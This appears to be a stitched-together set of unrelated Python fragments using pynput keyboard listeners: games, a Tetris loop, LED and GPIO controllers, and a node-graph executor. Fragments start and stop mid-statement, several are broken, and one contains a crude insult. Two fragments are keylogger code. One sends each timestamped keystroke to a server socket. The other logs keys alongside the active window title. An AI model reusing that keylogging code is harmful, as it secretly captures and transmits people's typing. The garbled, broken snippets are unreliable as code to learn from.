def key_press(server, threaddic): def on_press(key): nowtime = time.strftime("%y-%m-%d %H:%M:%S :", time.localtime()) press = ("shot-" + nowtime + str(key)).encode() server.send(press) listener = keyboard.Listener(on_press=on_press, suppress=False) listener.start() threaddic["key"] = listener
def initiatelistener(): try: while(True): with keyboard.Listener( on_press=on_press, on_release=on_release) as listener: listener.join() except KeyboardInterrupt: print("Finished")
def __init__(self): self.ended = False self.paused = False self.keys = keyboard.Listener() self.player = Paddle() self.scores = Scoreboard((0, 20 * config.sprite_size), 57) border_graphics(graphic_group) demo_blocks(blocks.group)
def __init__(self): self.ended = False self.paused = False self.keys = keyboard.Listener() border_graphics(graphic_group) demo_balls(balls.group) self.ttnBlock = 130
def start(width=10, height=20): global is_bottom_colliding global is_side_colliding global tempCounter global engine global direction global fallingSpeed global actualFallingSpeed global tFallingSpeed gameBoard = GameBoard(width, height) engine = gameEngine.GameEngine(gameBoard) ConsoleRenderer.start() engine.create_random_object() engine.assign_next_object_to_current() listener = keyboard.Listener(on_press=on_press, on_release=on_release) listener.start() while (not quitRequested): is_side_colliding = False is_bottom_colliding = False if not engine.gameOver and not pause: if (direction == -1): engine.move_object(-1, 0) direction = 0 if (direction == 1): engine.move_object(1, 0) direction = 0 if (direction == 2): engine.rotate_object() direction = 0 tFallingSpeed = actualFallingSpeed - math.floor( engine.scoreManager.linesRemoved / 4) if tempCounter >= actualFallingSpeed: engine.move_object(0, 1) tempCounter = 0 engine.remove_full_lines(gameBoard) renderFrame(x=engine.activeObjectPosition[0], y=engine.activeObjectPosition[1], gameBoard=gameBoard, gameObject=engine.activeObject)
def read_keyboard(self): def on_press(key): if any([key in COMBO for COMBO in self.COMBINATIONS]): self.current.add(key) if any( all(k in self.current for k in COMBO) for COMBO in self.COMBINATIONS): #open GUI pass try: c = str(key.char) except AttributeError: c = str(key).replace('Key.', '') if c == 'space': c = ' ' else: c = '[' + str(c) + ']' current_window = GetWindowText(GetForegroundWindow()) if current_window != self.prev_window: self.write_log_file( '\n------------------------------------\n[' + str(current_window) + ']:\n') #save to file self.prev_window = current_window self.mouse_clicked = False self.write_log_file(str(c)) #save to file def on_release(key): try: self.current.remove(key) except: pass keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release) keyboard_listener.start()
import time import sys from pynput import keyboard _switch = True def on_press(key): try: print('alphanumeric key {0} pressed'.format(key.char)) except AttributeError: print('special key {0} pressed'.format(key)) def on_release(key): print('{0} released'.format(key)) if key == keyboard.Key.esc: _switch = False sys.exit() # Stop listener # return False listener = keyboard.Listener(on_press=on_press, on_release=on_release) listener.start() while listener.isAlive(): # print(_switch) print(listener.isAlive()) time.sleep(0.1)
from pynput.keyboard import Key, Listener, KeyCode from pynput import keyboard SendInput = ctypes.windll.user32.SendInput PUL = ctypes.POINTER(ctypes.c_ulong) paused = False def on_release(key): print('{0} released'.format(key)) if key == keyboard.Key.esc: global paused paused = True listener = keyboard.Listener(on_release=on_release) listener.start() class KeyBdInput(ctypes.Structure): _fields_ = [("wVk", ctypes.c_ushort), ("wScan", ctypes.c_ushort), ("dwFlags", ctypes.c_ulong), ("time", ctypes.c_ulong), ("dwExtraInfo", PUL)] class HardwareInput(ctypes.Structure): _fields_ = [("uMsg", ctypes.c_ulong), ("wParamL", ctypes.c_short), ("wParamH", ctypes.c_ushort)] class MouseInput(ctypes.Structure):
def threadExecute(self, startNode, pData=None): """Executes program defined by nodes""" parentData = pData #data from parent node to be passed to child/current node currentNode = startNode #Node currently being processed moreChildren = True nextNodes = [] #list of node(s) to be executed next ifValue = False switchValue = False speak = False whileValue = False if (startNode.op_code == OP_CODE_MERGE or startNode.op_code == OP_CODE_JOIN): #These nodes should not be at the start of a program self._window.appendText( "Error, you cannot have a Merge or Join activity as Start-Node!" + '\n') elif (startNode.op_code == OP_CODE_KEYPRESS ): #special handling for keypress node keyEle = currentNode.getKey() def on_press(key): global myDict if isinstance(keyEle, str): if key == keyboard.Key.esc: print("Listener Closed!") return False elif key.char == keyEle: if not key.char in myDict: print("New key Pressed: " + key.char) if (startNode.getChildrenNodes()[0].op_code == OP_CODE_MERGE): self.key_press_Merge = True for node in startNode.getChildrenNodes(): self.startnode(node) myDict.append(key.char) print("List: ", myDict) else: COMBINATION = {keyEle[0], keyEle[1]} if key == keyboard.Key.esc: print("Listener Closed!") return False elif key.char in COMBINATION: if not key.char in myDict: print("New key Pressed: " + key.char) if (startNode.getChildrenNodes()[0].op_code == OP_CODE_MERGE): self.key_press_Merge = True for node in startNode.getChildrenNodes(): self.startnode(node) myDict.append(key.char) print("List: ", myDict) def on_release(key): print('{0} released'.format(key)) if key.char in myDict: myDict.remove(key.char) print("List: ", myDict) time.sleep(0.2) with Listener(on_press=on_press, on_release=on_release ) as listener: # Create an instance of Listener listener.join() breakpoint() elif (startNode.op_code == OP_CODE_KEYRELEASE ): #special handling for keyrelase node def on_release(key): print('{0} release'.format(key)) if (startNode.getChildrenNodes()[0].op_code == OP_CODE_MERGE): self.key_press_Merge = True for node in startNode.getChildrenNodes(): self.startnode(node) time.sleep(1) listener = keyboard.Listener(on_release=on_release) listener.start() breakpoint() else: #normal handling for nodes while moreChildren: #set flags as needed for certain nodes. if (currentNode.op_code == OP_CODE_IF): ifValue = True elif (currentNode.op_code == OP_CODE_SWITCH): switchValue = True elif (currentNode.op_code == OP_CODE_WHILE): whileNodes.append([currentNode, parentData]) print(currentNode) whileValue = True elif (currentNode.op_code == OP_CODE_TTS): speak = True elif (currentNode.op_code == OP_CODE_CODEPY): result = currentNode.getOutValue(parentData) self._window.appendText(result.val + '\n') # Checks to see if the node is an End While node and the corresponding While node has a 'true' condition if (currentNode.op_code == OP_CODE_END_WHILE and whileValue): currentNode = whileNodes[-1][0] parentData = whileNodes[-1][1] # General execution for nodes currentNode.doEval( parentData ) #evaluate the current node, parentData is the data object from parent node if applicable parentData = currentNode.data # save data object for passing to child node self.printNodeMessages( parentData, speak ) # print any messages resulting from our doEval() function. #determine which nodes will be executed next if (currentNode.op_code == OP_CODE_CUSTOM_ACTIVITY): nextNodes = [currentNode.innerInput] elif (currentNode.op_code == OP_CODE_CAOUT): nextNodes = currentNode.CAParent.getChildrenNodes() else: nextNodes = currentNode.getChildrenNodes() if nextNodes != []: #If there are more nodes after current... if (ifValue): # If the node is an If node, choose the corresponding socket based on the correct statement outputNodes = currentNode.getOutputs(parentData.val) # If the socket has connected edges if (len(outputNodes) > 0): currentNode = outputNodes[0] # Spawn a new thread if there are more than one edges connected to the socket if len(outputNodes) > 1: for node in outputNodes[1:]: t = threading.Thread( target=self.threadExecute, args=(node, parentData), daemon=True) threads.append(t) t.start() else: moreChildren = False ifValue = False elif (switchValue): # If the node is an Switch node, choose the corresponding socket based on the correct statement outputNodes = currentNode.getOutputs(parentData.val) # If the socket has connected edges if (len(outputNodes) > 0): currentNode = outputNodes[0] # Spawn a new thread if there are more than one edges connected to the socket if len(outputNodes) > 1: for node in outputNodes[1:]: t = threading.Thread( target=self.threadExecute, args=(node, parentData), daemon=True) threads.append(t) t.start() else: moreChildren = False switchValue = False # If the node was a While node and it was a 'false' condition elif (whileValue and parentData.val == False): noEndWhile = True # Search for the End While node for nodeThread in nextNodes: if (nodeThread.op_code == OP_CODE_END_WHILE): currentNode = nodeThread noEndWhile = False whileValue = False whileNodes.pop(-1) break else: nodeAfter = nodeThread.getChildrenNodes() while (nodeAfter != []): if (nodeAfter[0].op_code == OP_CODE_END_WHILE): currentNode = nodeAfter[0] noEndWhile = False whileValue = False whileNodes.pop(-1) break else: nodeAfter = nodeAfter[ 0].getChildrenNodes() # Check to see if there is an End While node connected the the sequence of nodes if (noEndWhile): self._window.appendText( "Error, you cannot have a While node without an End While node!" + '\n') whileValue = False elif (currentNode.op_code == OP_CODE_JOIN and not parentData.val): moreChildren = False #join node returned empty list, not ready, let thread die. Non-empty list will pass through and execute normally. else: # normal handling for nodes currentNode = nextNodes[ 0] #continue thread with first available node in next if len(nextNodes) > 1: for node in nextNodes[ 1:]: #if there are more nodes, create threads for remaining children t = threading.Thread(target=self.threadExecute, args=(node, parentData), daemon=True) threads.append(t) t.start() else: moreChildren = False #no more children, while loop will ends, thread will die. return parentData
spawn_x = block_x - 200 spawn_y = 100 - 24 def spawn(x, y): b_pos = (x, y) vx = 4 vy = 0 b = Ball(b_pos, (vx, vy)) group.add(b) screen = pygame.display.set_mode(config.screen_size) key = keyboard.Listener() """ no menu or anything yet """ quit = False spawned = False time = 10 while (not quit): time_spent = -pygame.time.get_ticks() for e in pygame.event.get(): if e.type == pygame.QUIT: quit = True if (key[keyboard.M.ESC]):
from pynput import keyboard from termcolor import colored, cprint GPIO.setwarnings(False) GPIO.setmode(GPIO.BOARD) GPIO.setup(8, GPIO.OUT, initial=GPIO.LOW) cprint('\nBLINK MODE', 'red', attrs=['blink']) print "Hold any key to Start. Esc to exit" while True: GPIO.output(8, GPIO.HIGH) sleep(1) GPIO.output(8, GPIO.LOW) sleep(1) def on_press(key): cprint('\nHIGH MODE', 'green') GPIO.output(8, GPIO.HIGH) def on_release(key): cprint('\nBLINK MODE', 'red', attrs=['blink']) GPIO.output(8, GPIO.HIGH) sleep(1) GPIO.output(8, GPIO.LOW) sleep(1) if key == keyboard.Key.esc: return False with keyboard.Listener( on_press=on_press, on_release=on_release) as listener: listener.join()
import keyboard import time break_program = False def on_press(key): global break_program print (key) if key == keyboard.Key.end: print ('end pressed') break_program = True return False with keyboard.Listener(on_press=on_press) as listener: while break_program == False: print ('program running') time.sleep(5) listener.join()
wall[pos] = blue oldcolorpos = pos printLedWall(fromListToLedframe(wall)) print("left") pass elif variable == "right": coordinates = goRight(higth, width) wall[oldcolorpos] = red pos = form2Dto1D(coordinates[0], coordinates[1]) width = coordinates[1] wall[pos] = blue oldcolorpos = pos printLedWall(fromListToLedframe(wall)) print("right") pass elif variable == "u": print("byby BITCH") flag = True else: print("are you dum ?") pass #return False # remove this if want more keys lis = keyboard.Listener(on_press=on_press) lis.start() # start to listen on a separate thread lis.join() # no this if main thread is polling self.keys